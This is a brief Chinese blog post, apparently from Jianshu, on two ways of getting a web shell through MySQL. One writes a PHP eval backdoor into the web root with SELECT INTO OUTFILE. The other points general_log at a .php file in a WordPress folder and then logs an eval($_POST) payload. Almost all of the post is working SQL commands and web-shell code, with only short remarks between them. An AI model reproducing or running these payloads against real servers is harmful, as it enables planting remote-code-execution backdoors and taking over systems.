mysql getshell

mysql getshell:

1、利用select '代码' into outfile '绝对路径'

select '<?php @eval($_GET["test"]);?>' INTO OUTFILE 'C:/phpstudy/PHPTutorial/WWW/shell.php'

2、利用general_log:

general_log是mysql日志文件,可以记录mysql的所有操作。

相关操作:

show variables like 'general_log'; -- 查看日志是否开启

set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

写入shell:

set  global general_log=on;//开启日志记录

SET global general_log_file='C:/phpstudy_pro/WWW/wordpress/test.php';//将日志产生的默认路径改成php文件。

SELECT '<?php eval($_POST["test"]);?>'; //日志中插入代码,之后访问上面的test.php即可getshell

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容